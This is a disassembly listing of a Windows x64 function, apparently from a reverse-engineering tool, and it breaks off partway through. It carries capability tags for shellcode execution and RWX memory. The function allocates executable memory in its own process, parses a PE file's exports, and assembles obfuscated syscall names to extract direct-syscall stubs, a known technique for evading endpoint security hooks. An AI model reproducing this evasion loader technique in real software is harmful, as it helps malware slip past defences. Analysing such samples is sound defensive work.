Function at 0x140003745
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3000
call fcn.1400149c0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140013a10
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2f64], eax
mov eax, dword [rbp + 0x2f64]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2f58], rax
mov rax, qword [rbp + 0x2f58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2f50], rax
mov rax, qword [rbp + 0x2f50]
add rax, 0x17
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
add rax, 0x17
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
add rax, 0x17
mov qword [rbp + 0x2f38], rax
mov rax, qword [rbp + 0x2f38]
add rax, 0x17
mov qword [rbp + 0x2f30], rax
mov rax, qword [rbp + 0x2f30]
add rax, 0x17
mov qword [rbp + 0x2f28], rax
mov rax, qword [rbp + 0x2f28]
add rax, 0x17
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
add rax, 0x17
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
add rax, 0x17
mov qword [rbp + 0x2f10], rax
mov rax, qword [rbp + 0x2f10]
add rax, 0x17
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x2f08]
add rax, 0x17
mov qword [rbp + 0x2f00], rax
mov rax, qword [rbp + 0x2f00]
add rax, 0x17
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
add rax, 0x17
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
add rax, 0x17
mov qword [rbp + 0x2ee8], rax
mov rax, qword [rbp + 0x2ee8]
add rax, 0x17
mov qword [rbp + 0x2ee0], rax
mov rax, qword [rbp + 0x2ee0]
add rax, 0x17
mov qword [rbp + 0x2ed8], rax
mov rax, qword [rbp + 0x2ed8]
add rax, 0x17
mov qword [rbp + 0x2ed0], rax
mov rax, qword [rbp + 0x2ed0]
add rax, 0x17
mov qword [rbp + 0x2ec8], rax
mov dword [rbp + 0x29c], 0
mov qword [rbp + 0x2ec0], 0
mov dword [rbp + 0x2ebc], 0
mov dword [rbp + 0x298], 0
mov qword [rbp + 0x2eb0], 0
mov rax, qword [rbp + 0x2f50]
mov qword [0x140107038], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f48]
mov qword [0x140107040], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f40]
mov qword [0x140107048], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f38]
mov qword [0x140107050], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f30]
mov qword [0x140107058], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f28]
mov qword [0x140107060], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f20]
mov qword [0x140107068], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f18]
mov qword [0x140107070], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f10]
mov qword [0x140107078], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f08]
mov qword [0x140107080], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f00]
mov qword [0x140107088], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2f00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef8]
mov qword [0x140107090], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ef8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef0]
mov qword [0x140107098], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ef0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee8]
mov qword [0x1401070a0], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ee8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee0]
mov qword [0x1401070a8], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ee0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed8]
mov qword [0x1401070b0], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ed8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed0]
mov qword [0x1401070b8], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ed0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ec8]
mov qword [0x1401070c0], rax
lea rdx, [rbp + 0x29c]
mov rax, qword [rbp + 0x2ec8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400db3c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2ec0], rax
mov rax, qword [rbp + 0x2ec0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2ebc], eax
mov ebx, dword [rbp + 0x2ebc]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2eb0], rax
lea r8, [rbp + 0x298]
mov ecx, dword [rbp + 0x2ebc]
mov rdx, qword [rbp + 0x2eb0]
mov rax, qword [rbp + 0x2ec0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2eb0]
mov qword [rbp + 0x2ea8], rax
mov rax, qword [rbp + 0x2ea8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2eb0]
add rax, rdx
mov qword [rbp + 0x2ea0], rax
mov rax, qword [rbp + 0x2ea0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2e9c], eax
mov rax, qword [rbp + 0x2ea0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2ea0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2f78], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2e90], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
mov dword [rbp + 0x2f6c], 0
jmp 0x140003e83
mov rax, qword [rbp + 0x2f78]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003e74
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
jmp 0x140003e99
add qword [rbp + 0x2f78], 0x28
add dword [rbp + 0x2f6c], 1
mov rax, qword [rbp + 0x2ea0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2f6c], eax
jl 0x140003e4a
mov edx, dword [rbp + 0x2e9c]
mov rax, qword [rbp + 0x2eb0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2f70]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x2e88], rax
lea rax, [rbp + 0x56f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x56f]
lea rax, [rbp + 0x540]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, [0x1400db3f1]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x400]
lea rdx, [rbp + 0x420]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x3e0]
lea rdx, [rbp + 0x400]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3e0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x3a0]
lea rdx, [rbp + 0x3c0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x380]
lea rdx, [rbp + 0x3a0]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x380]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x360]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x2a0]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x380]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x3a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x3c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x56f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x570]
mov rcx, qword [rbp + 0x2f50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x14000433f
lea rbx, [0x1400db40b]
jmp 0x140004346
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x81f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x81f]
lea rax, [rbp + 0x7f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x6b0]
lea rdx, [rbp + 0x6d0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x690]
lea rdx, [rbp + 0x6b0]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x670]
lea rdx, [rbp + 0x690]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x650]
lea rdx, [rbp + 0x670]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x630]
lea rdx, [rbp + 0x650]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x610]
lea rdx, [rbp + 0x630]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x630]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x650]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x670]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x690]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x81f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x820]
mov rcx, qword [rbp + 0x2f48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x14000478a
lea rbx, [0x1400db40b]
jmp 0x140004791
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xb0f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0xb0f]
lea rax, [rbp + 0xae0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x1400db42b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x9a0]
lea rdx, [rbp + 0x9c0]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x980]
lea rdx, [rbp + 0x9a0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x960]
lea rdx, [rbp + 0x980]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x940]
lea rdx, [rbp + 0x960]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x920]
lea rdx, [rbp + 0x940]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x900]
lea rdx, [rbp + 0x920]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x8e0]
lea rdx, [rbp + 0x900]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x840]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x900]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x920]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x940]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x960]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x980]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xb0f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0xb10]
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140004c2d
lea rbx, [0x1400db40b]
jmp 0x140004c34
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xd3f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0xd3f]
lea rax, [rbp + 0xd10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0xcf0]
lea rdx, [rbp + 0xd10]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, [0x1400db42d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xbd0]
lea rdx, [rbp + 0xbf0]
